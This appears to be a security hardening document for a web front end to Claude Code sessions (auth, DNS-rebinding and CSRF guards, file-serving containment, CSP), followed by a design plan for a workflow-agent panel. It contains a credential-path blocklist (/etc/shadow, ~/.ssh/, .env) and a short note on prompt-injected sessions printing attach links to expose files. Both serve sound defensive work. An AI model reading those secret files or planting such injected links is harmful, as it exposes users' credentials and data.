non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
`127.0.0.1` for an unambiguous loopback bind.
### Startup policy (the "warn, don't block" rule)
At `WebServer.start()`:
| Bind host | `CODEMAN_PASSWORD` | Behavior |
|-----------|--------------------|----------|
| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
| loopback | set | **Start.** Auth required even locally. |
| non‑loopback | set | **Start.** Auth protects the open bind. |
| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
> non‑loopback bind without a password. That surprised setups that "just worked"
> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
> default; the warning (with three concrete fixes) replaces the hard failure.
The warning points at three ways to secure the instance:
1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
— explicitly accept the risk (downgrades the warning to a one‑line note). This
flag is **only** an acknowledgement; it does not change reachability.
`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
server over loopback regardless of the public bind.
---
## 2. Authentication
Auth is **optional** and controlled by env vars captured at startup:
- `CODEMAN_USERNAME` (default `admin` when only a password is set)
- `CODEMAN_PASSWORD`
When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
`onRequest` hook) runs in this order:
1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
`/q/` short‑code path are exempt when `req.ip` is loopback (see §3). While the
**managed tunnel is running**, the hook‑event exemption additionally requires
the per‑instance `X-Codeman-Hook-Secret` header (COD‑54); failed presentations
are rate‑limited in a **dedicated bucket** (separate from Basic‑Auth failures)
so misfiring hooks can never lock out the login path.
2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
allow.
3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
that IP's failure counter.
4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
locked out, return `429` with a `Retry-After` header.
5. Otherwise return `401`, incrementing the IP's failure counter.
### Session cookies
On successful Basic auth the server issues `codeman_session`, an opaque
server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
context for the audit log. Tokens are **not** client‑signed — they're validated
by presence in a server‑side map, so they cannot be forged offline.
### Rate limiting / lockout recovery
Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
The QR path has its own separate limiter.
The lockout check sits **after** the cookie/credential checks (step 4, not first).
This is deliberate: a user with a **valid cookie or correct password recovers
immediately** even while an attacker is hammering the same IP — important because
all traffic through a tunnel shares one source IP (loopback). Wrong credentials
are still counted and still hit the `429` at the threshold, so brute‑force
protection is unchanged.
---
## 3. Request‑origin trust & the tunnel caveat
`req.ip` is derived from the **TCP socket only** — Fastify runs with
`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
**However**, a reverse tunnel that connects to the server over loopback (e.g.
`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
requests as local:
- `POST /api/hook-event` — auth‑exempt for loopback **only while no managed tunnel
is running**. When Codeman's own tunnel is up, the exemption requires the
per‑instance shared secret (`X-Codeman-Hook-Secret`, 256‑bit hex in
`~/.codeman/hook-secret`, mode 0600, COD‑54). Local hook commands read the
secret file at execution time (`$CODEMAN_HOOK_SECRET_FILE`, exported into every
managed session), so they keep working — tunneled internet traffic can't know
it. Even without the secret the impact is bounded: the route is
`HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
drive respawn signals, SSE broadcasts, push notifications, and transcript
watching — **not** arbitrary terminal input or file reads. ⚠️ The gate keys off
the **managed** tunnel — an externally run loopback proxy (your own
`cloudflared`, `tailscale serve`) is invisible to it, so the plain loopback
exemption still applies there (prefer `tailscale serve`, which authenticates at
the tailnet layer). Hook configs regenerated since COD‑54 always present the
header, so a future release can require the secret unconditionally.
- QR `/q/` — still protected by its own short‑code brute‑force limiter
(10 failures / 60s against a 62⁶ space).
**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
up — it gates everything except the (secret‑gated) hook exemption and is the
documented practice; since COD‑55 enabling the managed tunnel **refuses** to start
without it unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly
acknowledges the exposure. Prefer `tailscale serve` (below), which authenticates
at the tailnet layer so untrusted clients never reach the loopback port at all.
### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
**before** the auth pipeline in §2 and guards **every** request — including the
localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
`POST`) that the loopback‑no‑password default otherwise exposed to any site the
operator merely visits.
- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
**every** request, all methods. A custom domain rebound to `127.0.0.1` is
rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
`localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
`.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
`Host` is rejected.
- **Origin / CSRF guard.** On **state‑changing** methods (everything except
`GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
rejected. This blocks the cross‑site CSRF that could previously create sessions,
trigger self‑update, or flip `tunnelEnabled`.
- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
self‑parses its beacon payload). This removes the CORS "simple request" CSRF
vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
JSON body into a write route with no preflight — defense‑in‑depth alongside the
Origin guard.
- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
runs the **same** Host + Origin check and closes with code `4003` on failure
(anti‑CSWSH).
The policy is rebuilt per request from
`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
tunnel at runtime updates the allowlist with no restart.
> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
> bare domain **and** all subdomains. Behaviour is covered by
> `test/network-host-guard.test.ts`.
---
## 4. Recommended remote‑access setups
Ordered most‑to‑least recommended:
### A. Tailscale serve (recommended)
Bind loopback, let Tailscale front it on your tailnet with a real cert:
```bash
codeman web --https # binds 127.0.0.1:3000
tailscale serve --bg https / http://127.0.0.1:3000
```
Only devices on your tailnet can reach it; Tailscale handles identity. No app
password and no `0.0.0.0` bind required. (This is the maintainer's production
setup.)
### B. Authenticated cloudflared tunnel + password
```bash
export CODEMAN_PASSWORD=<password>
codeman web --https
cloudflared tunnel --url https://localhost:3000
```
Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
hook‑event exemption (§3) would otherwise be reachable from the public URL.
### C. Direct LAN bind + password
```bash
export CODEMAN_PASSWORD=<password>
codeman web --https --host 0.0.0.0
```
Exposes the port on all interfaces; the password is the only thing protecting it.
### Avoid
`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
without a password.
---
## 5. File‑serving hardening
Three routes serve workspace files; all require a valid `sessionId` and run the
shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
it `realpath`s the target **before** the boundary check and rejects anything that
escapes the session working directory (`..`, absolute paths, and symlinks that
resolve outside). The realpath‑before‑check ordering closes the validation‑time
TOCTOU window.
| Route | Cap | Notes |
|-------|-----|-------|
| `file-content` | 10 MB | text preview |
| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
### SVG / content‑type XSS
A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
can carry `<script>`, same‑origin = full session control). `file-raw` therefore
serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
combination**, which forces a download instead of a render — not the CSP: the
policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
document *would* be able to run inline scripts if the browser ever rendered it.
By the same combination, other text types (`.html`, `.xml`, …) that fall through
to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
### Download sensitive‑path blocklist
`/api/download` additionally refuses a blocklist of sensitive paths
(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
is **defense‑in‑depth, not the primary boundary** — the realpath containment is
the control. The blocklist patterns are shared (`src/web/sensitive-path.ts`) with
the attachment guard below.
### External attachments (registry) & the magic‑link trust boundary
Live external attachments (`src/attachment-registry.ts`) mint an `att_<uuid>` id
for a host file so browser requests carry the id, never an absolute path. Serving
is by id (`GET /api/sessions/:id/attachments/:attachmentId/raw`, 50 MB cap,
`nosniff`) and re‑resolves the symlink + re‑checks the **attachment guard**
(`src/config/attachment-guard.ts`: the shared sensitive‑path blocklist **plus**
the `/root` and `/etc` trees, extendable via `attachmentBlockedPaths` /
`CODEMAN_ATTACHMENT_BLOCKED_PATHS`) on every request. Unlike the workspace file
routes, attachments are intentionally **cross‑workspace** — so the effective gate
is the blocklist + a 6‑extension allowlist (`png/pdf/docx/pptx/md/txt`), not
realpath containment.
Two registration paths, with **different trust**:
- **Explicit `POST /api/sessions/:id/attachments`** (and `codeman attach`, which
POSTs directly inside a managed session) — a deliberate, Origin‑guarded HTTP
request. Allowed cross‑workspace (subject to the guard). This is the supported
path for codeman‑publish and the `~/.codeman` review‑card loop.
- **Terminal `codeman://attach?path=…` magic links** — scanned passively from
session output. Terminal output is **attacker‑influenceable** (a prompt‑injected
session can print an arbitrary path), and registration here is server‑side with
no Origin gate and broadcasts the `rawUrl` over SSE to all clients. This path is
therefore **force‑confined to the session workspace** (`forceWorkspaceConfinement`
in `registerExternalAttachment`, wired in `WebServer.registerAttachment`),
regardless of the global confine setting — a passive magic link cannot expose a
file outside the session's own workspace. Cross‑workspace attach must go through
the explicit POST path above.
### SSE log‑tail route — intentional extra read roots
The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
into the UI) does **not** use `validateSessionFilePath`; it has its own validator
with a deliberately **wider** allowlist: the session `workingDir` **plus two
read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
other routes it `realpath`s the target and re‑checks right before spawning `tail`
(TOCTOU guard), and it is read‑only. This is the one place the per‑session
boundary is intentionally relaxed; on a password‑protected remote deployment an
authenticated user can therefore read `/var/log` and `~/logs` outside their
session dir. (Security review M5: this divergence is by design and is now
documented here rather than silently diverging from the per‑session claim above.)
### Known limitation — `workingDir` scope
The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
directory"). A session created with `workingDir=/` can therefore read files
across the filesystem within that boundary. This is **pre‑existing** across all
file routes and not widened by the recent changes. Recommended follow‑up:
constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
---
## 6. tmux launch hardening (COD‑31)
New sessions and respawns launch the tmux server/pane from a stable `/tmp`
(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
against the live mount table:
```
respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
```
This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
transient mount blip at launch poisons tmux's long‑lived cwd and crashes
`new-session`. Safety properties:
- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
does **not** run in `/tmp`; the pane dies with a visible error instead.
- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
`;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
in the pane command. Paths with spaces work; metacharacters are rejected before
reaching the shell.
- It does not change which tmux socket is targeted, so instance isolation (§8) is
preserved.
---
## 7. Supply‑chain & build‑asset hardening (COD‑28)
- **Dependency advisories:** security‑sensitive ranges are bumped to patched
versions, and `overrides` force patched transitive deps (`picomatch`,
`basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
these stay patched in the lockfile.
- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
drift between `package.json` and `package-lock.json`. All lockfile entries
resolve to `registry.npmjs.org` with `sha512` integrity hashes.
- **Public‑asset checker:** `npm run check:public-assets`
(`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
bytes and runs `node --check` on every `.js` file (syntax validation), plus a
Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
shell), so filenames/content cannot inject commands; `node --check` only parses,
never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
syntax checks still cover them.
---
## 8. Multi‑instance isolation
The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
instance on the **same** socket discovers and attaches PTYs to the first
instance's live sessions. To run instances side by side, give each a distinct
`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
production layout (`~/.codeman`, `-L codeman`, port 3000).
---
## 9. Transport security headers
`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
deliberate widenings (so the policy is tighter than "self only" but every
exception is enumerated and same‑origin‑first):
- `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
(CDN fallback for a few libraries). `script-src` and `style-src` additionally
allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
`octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
Because `'unsafe-inline'` is still present (removing it needs a nonce
migration), AI‑derived strings rendered into the subagent/activity panels are
HTML‑escaped at the injection sites (`escapeHtml` in
`src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
so a hostile tool name or argument can't execute — defense‑in‑depth from the
2026‑06‑09 review (H4).
- `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
- `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
- `frame-ancestors 'self'`.
- **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
`'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
`/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
production CSP is byte‑for‑byte unchanged.
- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
`frame-ancestors 'self'`).
- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
served over HTTPS (`--https`).
- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
headers. `OPTIONS` preflights are answered `204`.
---
## 10. Quick reference
| Env / flag | Effect |
|------------|--------|
| `CODEMAN_PASSWORD` (+ `CODEMAN_USERNAME`) | Enable HTTP Basic auth |
| `--host` / `CODEMAN_HOST` | Bind host (default `127.0.0.1`) |
| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
| `--https` | Enable TLS (adds HSTS) |
| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
| `CODEMAN_GESTURE=1` | Make the gesture overlay available (widens CSP) |
**Audit log:** session lifecycle and server start are recorded in
`~/.codeman/session-lifecycle.jsonl`.
### Key source files
| Concern | File |
|---------|------|
| Bind‑host classification, env‑flag parsing, Host/Origin allowlist (`buildHostPolicy` / `isAllowedRequestHost` / `isAllowedRequestOrigin`) | `src/web/network-auth-policy.ts` |
| Start‑and‑warn policy | `src/web/server.ts` (`WebServer.start()`) |
| Auth pipeline, rate limiting, security headers, CORS, Host/Origin guard (`registerHostGuard`) | `src/web/middleware/auth.ts` |
| File‑path containment (realpath‑before‑check) | `src/web/route-helpers.ts` (`validateSessionFilePath`) |
| File routes, caps, SVG handling, download blocklist | `src/web/routes/file-routes.ts` |
| Instance/socket/data‑dir scoping | `src/config/instance.ts` |
---
> **Maintenance note:** the behaviours above were verified against the source on
> 2026‑06‑09. When you change auth, the bind policy, CSP/headers, or the file
> routes, update this document in the same change — several sections quote exact
> values (caps, CSP directives, TTLs) that drift silently otherwise.
+271
View File
@@ -0,0 +1,271 @@
# Ultracode / Workflow Agent Visualization — Design & Implementation Plan
> **Status: IMPLEMENTED (2026-06-15, rev. 3) — Phases 1–3 shipped & verified; Phase 4 (live-transcript link) deferred.** A dedicated, opt-in **master-detail tab** (`showUltracodeAgents`, default OFF) shows ultracode/Workflow runs as Claude Code's "working agents" TUI: LEFT = runs + phases (selectable tasks), RIGHT = each run's agents with model, live state, **tokens burned**, and **tool calls**.
>
> ### What rev. 3 changed vs. rev. 2 (decided during implementation against on-disk truth)
> 1. **UI is a master-detail TAB, not grouped floating subagent windows.** The user asked for the CC "working agents" view (left task picker, right agent stats). Built as a new docked panel `#ultracodeAgentsPanel` (clones `.subagents-panel` master-detail CSS) + `src/web/public/ultracode-panel.js` — NOT via `openSubagentWindow`/grouped windows.
> 2. **STANDALONE — zero edits to `subagent-watcher.ts`.** w16-claudeman's commit `f6a30d7` already discovers the per-agent workflow *transcripts* (`watchWorkflowDirs`). The data the view needs (run/phase/per-agent tokens+toolCalls) lives in the *run-state* JSON, read by a brand-new `src/workflow-run-watcher.ts` (globs the disjoint `…/workflows/wf_*.json` tree). No shared files with w16.
> 3. **No per-agent transcript streaming needed for v1.** The run-state JSON already carries `tokens`/`toolCalls`/`state`/`label`/`phase` per agent, so the whole view reads from `wf_<runId>.json` alone. (Phase 4 will optionally link a card to its already-tracked transcript via `agentId` — no watcher edits.)
> 4. **Agent states are `start | progress | done`** (verified on disk) — NOT running/queued. `start`=queued (no agentId/tokens/toolCalls yet), `done` has `durationMs`/`resultPreview`.
> 5. **The run JSON's `script` (15–660KB embedded JS), `scriptPath`, `result`, `logs` are STRIPPED in the watcher** before caching/broadcast (a 28-agent run drops 174KB → ~25KB; `promptPreview`/`resultPreview` truncated).
> 6. **SSE/snapshot ship lightweight run SUMMARIES (no `agents[]`); the RIGHT pane fetches the full run** via `GET /api/workflows/:runId` on selection. (A 25-run snapshot is ~20KB vs ~900KB if it carried every agent.) The LEFT list shows ALL cached runs (LRU-bounded), not a recency window — a run browser must show past runs.
>
> _Original rev. 2 proposal (grouped floating windows, extending subagent-watcher) preserved below for context; superseded by the above._
### What changed in rev. 2 (vs. the first draft)
1. **No backend cross-watcher coupling.** The per-agent label/phase/agentType/state **join moves to the frontend at render time** — the run object already carries every agent's entry keyed by `agentId`. This deletes `subagent-watcher`'s backward dependency on `workflow-run-watcher` (`getAgentLabel()` + its TTL cache), removes the registration-vs-run-state **race** (labels always track the latest `workflow:run_updated`), and drops the per-agent `meta.json` read from the hot path.
2. **`SubagentInfo` grows by 2 fields, not 4** (`isWorkflowAgent`, `workflowRunId`) — both derivable from the file path alone at registration, zero extra I/O. `agentType`/`label`/`phase`/`state` come from the run object on the frontend.
3. **The `isInternalAgent` bypass covers BOTH drop sites** — `registerAgentFile` *and* the late re-resolution in `processEntry`. The first draft named only one.
4. **De-duplicated.** Each trap (`journal.jsonl`, the `projects/*/*/workflows` depth, the gate-mismatch lesson, reuse-not-rebuild) is stated once in its owning section.
### Code-reuse verified against the tree (2026-06-14)
Confirmed present and shaped as assumed: `subagent-watcher.ts` — `watchSubagentDir`/`registerAgentFile`/`tailFile`/`processEntry`, `getRecentSubagents`, `isInternalAgent` (drops on `MIN_DESCRIPTION_LENGTH=5`), `STARTUP_MAX_FILE_AGE_MS=4h`, `MAX_TRACKED_AGENTS`, `knownSubagentDirs`/`dirWatchers`. `team-watcher.ts` — `configMtimes` mtime-skip + chokidar + `setInterval` poll. `server.ts` — `setupSubagentWatcherListeners`, `getLightState()` (`subagents: getRecentSubagents(15)`, `LIGHT_STATE_CACHE_TTL_MS=1000`), `isSubagentTrackingEnabled()` (`settings.subagentTrackingEnabled ?? true`). Frontend — `_SSE_HANDLER_MAP`, `this.subagents` Map, `handleInit`/`cleanupAllFloatingWindows`, `renderSubagentPanel`/`_renderSubagentPanelImmediate`, `getTeammateBadgeHtml`, `openSubagentWindow` + `.subagent-window-parent` sub-header.
## 1. The enabling fact: on-disk artifacts
The Workflow tool (what `ultracode` drives) persists each workflow agent as a transcript under the **same `subagents/` directory Codeman already watches**, one level deeper. Empirically verified against a real run (`wf_a8e09f2c-550`); **re-confirm the shape against a fresh run at implementation time** (§8 mandates a live e2e pass anyway):
```
~/.claude/projects/<projHash>/<sessionUuid>/
├─ subagents/
│ ├─ agent-XX.jsonl ← regular Task subagent (tracked today)
│ └─ workflows/wf_<runId>/
│ ├─ agent-YY.jsonl ← WORKFLOW agent — IDENTICAL line format
│ ├─ agent-YY.meta.json ← {"agentType":"workflow-subagent"} (optional enrichment)
│ └─ journal.jsonl ← run journal {type:"started",...} — MUST be skipped
└─ workflows/wf_<runId>.json ← run state: runId, workflowName, summary, status,
phases[], workflowProgress[], totals (DIFFERENT tree)
```
The per-agent `.jsonl` line shape is identical to a regular subagent transcript:
```jsonc
{ "parentUuid": null, "isSidechain": true, "agentId": "ac6a1d27012a64e38",
"type": "user" | "assistant", "message": { "role": "...", "content": "..." }, ... }
```
Because the line shape is identical, the entire existing parse→event→render pipeline works unchanged once discovery reaches those files. The only new data is the **run-level metadata** in `workflows/wf_<runId>.json` (name, summary, phases, and `workflowProgress[]` — the per-agent labels/state/tools), which supplies the group header and per-agent labels.
**Can show:** per-agent live transcript (tool calls, messages, results); per-agent status (active/idle/completed via the existing mtime/PID/pgrep liveness); per-agent model + running token totals (from each agent's JSONL `message.usage`, exactly as today); the run's `workflowName`/`summary`/`phases[]`; per-agent `label`/`phaseTitle`/`state`/`lastToolName` (from `workflowProgress[]`); grouping under `wf_<runId>`.
**Cannot show:** anything absent from the artifacts — a live phase cursor beyond `workflowProgress[].state`; an authoritative **budget/cost ceiling** (only consumed totals exist — `usage` + run-state `totalTokens`, no remaining-budget field); runs older than `STARTUP_MAX_FILE_AGE_MS` (4h) after a server restart (live monitoring only).
## 2. Architecture
**Decision: EXTEND `subagent-watcher.ts` for per-agent discovery/streaming; ADD a thin `workflow-run-watcher.ts` (modeled on `team-watcher.ts`) for the group-header metadata ONLY. The agent→run-metadata join happens on the FRONTEND, so the two watchers stay decoupled.**
- The per-agent JSONL is identical in shape, so re-running it through `registerAgentFile()` → `tailFile()` → `processEntry()` and the existing `subagent:*` events is free and reconnect-safe (those agents land in `agentInfo`, replayed by `getRecentSubagents(15)`). A parallel per-agent watcher would duplicate the liveness/token/tool-call/SSE machinery for zero benefit.
- Run metadata lives in a *different* file under a *different* tree (`workflows/wf_<runId>.json`, sibling to `subagents/`). A small `WorkflowRunWatcher` watching `projects/*/*/workflows/wf_*.json` (mtime-skip, like `team-watcher`'s `configMtimes`) is the clean home; folding it into `subagent-watcher` would entangle two unrelated watch roots and put a JSON re-read in the hot per-line path.
- **The two watchers never call each other.** The frontend receives both streams and joins agent→label by `agentId` at render time (the run object carries every agent's entry). This removes the timing coupling entirely.
```
~/.claude/projects/<projHash>/<sessionUuid>/
├─ subagents/
│ ├─ agent-XX.jsonl ──────────────► SubagentWatcher (EXTENDED: also descends
│ └─ workflows/wf_<runId>/ workflows/wf_<runId>/, tags isWorkflowAgent+runId)
│ ├─ agent-YY.jsonl ─┐ reuse registerAgentFile/tailFile/processEntry
│ └─ journal.jsonl (SKIP) emits subagent:* (now w/ 2 workflow fields)
└─ workflows/wf_<runId>.json ──────► WorkflowRunWatcher (NEW, team-watcher-shaped)
{workflowName,phases,workflowProgress[]} emits workflow:run_discovered|updated|removed
server.ts
setupSubagentWatcherListeners() ──► broadcast(subagent:*) ─┐
setupWorkflowRunWatcherListeners() ──► broadcast(workflow:run_*) │ SSE
getLightState(): subagents + workflowRuns ───────────────────────┘
│
▼ app.js dispatch table
panels-ui: partition this.subagents by workflowRunId; header + per-agent
labels JOINED from this.workflowRuns.get(runId).agents (by agentId)
```
## 3. Backend changes (ordered, file-by-file)
### 3a. `src/subagent-watcher.ts` — nested discovery + 2 tag fields
**(1) Extend `SubagentInfo` with exactly two optional fields** (optional → regular subagents and the wire shape are unaffected):
```ts
isWorkflowAgent?: boolean; // true when discovered under subagents/workflows/<wf_runId>/
workflowRunId?: string; // e.g. "wf_23dbeab2-152" (parent dir name)
```
Both are derived from the **file path alone** at registration — no extra reads. They ride existing `subagent:discovered|updated|completed` payloads (no new per-agent event). Do **not** add `agentType`/`label`/`phase`/`workflowName` here — those come from the run object on the frontend (§4c).
**(2) Constant.** `const WORKFLOWS_SUBDIR = 'workflows';` near the existing dir constants.
**(3) `watchSubagentDir()` — descend into `workflows/<wf_runId>/`.** After the existing direct-child registration loop:
```ts
// Workflow agents live one level deeper: subagents/workflows/<wf_runId>/agent-*.jsonl
const wfRoot = join(dir, WORKFLOWS_SUBDIR);
try {
for (const runId of await readdir(wfRoot)) {
if (!runId.startsWith('wf_')) continue;
await this.watchWorkflowRunDir(join(wfRoot, runId), projectHash, sessionId, runId);
}
} catch { /* no workflows subdir — normal for most sessions */ }
```
The existing `fs.watch(dir, …)` on `subagents/` is **non-recursive on Linux** and won't fire for writes inside `workflows/<runId>/`, so each run dir needs its own watcher.
**(4) New private `watchWorkflowRunDir(runDir, projectHash, sessionId, runId)`** — clone `watchSubagentDir`'s structure, but:
- Register only files matching `^agent-.*\.jsonl$`, **explicitly skipping `journal.jsonl`** (it ends in `.jsonl` but is `{type:'started',…}`, not a transcript — registering it would create a phantom agent).
- Call `registerAgentFile(filePath, projectHash, sessionId, isInitialScan, runId)` so the agent is tagged.
- Install one `watch(runDir, …)` per run dir; on `error` and `stop()`, reuse the existing teardown (close + delete from `dirWatchers`/`knownSubagentDirs`/`dirWatcherErrorHandlers`).
- Guard re-registration **per run dir** in `knownSubagentDirs`, **not** `wfRoot` — the 5s full scan must still re-`readdir(wfRoot)` to pick up *new* `wf_<runId>` dirs created mid-session.
**(5) `registerAgentFile()` — accept + apply `runId`.** Add a trailing optional `runId?: string`. When set, the whole change is:
```ts
if (runId) { info.isWorkflowAgent = true; info.workflowRunId = runId; }
```
No `meta.json` read, no run-state lookup, no description override. `agentId`s are globally unique `a<16hex>` (verified: 0 collisions across a 370-agent corpus), so keep the flat `agentInfo` map keyed by `agentId` — do **not** switch to a composite key. Add a one-line dev-assert log if `agentInfo.has(agentId)` with a *different* `workflowRunId`, so a future collision is observable.
**(6) `isInternalAgent` bypass — BOTH drop sites.** Workflow agents have no Task-tool spawn record, so `_resolveDescription` yields only the first-user-message fallback (often a long phase prompt) or empty → `isInternalAgent` (`length < MIN_DESCRIPTION_LENGTH`) would wrongly drop them. They are real by construction (the `subagents/workflows/wf_*/` path is the discriminator). Gate the drop on `!info.isWorkflowAgent` at **both** places:
- `registerAgentFile` initial check (`isInternalAgent(description)`),
- `processEntry`'s late re-resolution (the second `isInternalAgent` call).
**(7) `stop()` teardown.** Per-run watchers live in `dirWatchers`, so the existing close-all loop covers them — verify no separate map was introduced (24h runs spawn many `wf_<runId>` dirs → FSWatcher leak risk).
### 3b. NEW `src/workflow-run-watcher.ts` (singleton, EventEmitter — model on `team-watcher.ts`)
- **Watch root:** `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` — **two** levels under `projects` (verified: `projects/*/workflows` is empty; must be `projects/*/*/workflows/`). chokidar `depth:3` + a poll fallback, mirroring `team-watcher`'s dual discovery + interval.
- **mtime-skip:** `runMtimes: Map<absPath, number>` (mirror `team-watcher.configMtimes`).
- **Parse:** read `wf_<runId>.json`, take the **top-level structured keys** (`runId`, `workflowName`, `summary`, `status`, `phases:[{title,detail}]`, `agentCount`, `defaultModel`, `durationMs`, `totalTokens`, `totalToolCalls`, `workflowProgress[]`). **Do NOT parse the embedded `script` string** — name/phases/summary are already top-level; the script's `export const meta` is redundant and costly. Derive `sessionUuid` from the dir name, `projectHash` from the dir above; expose `getProjectHash(workingDir)` for Codeman-session correlation.
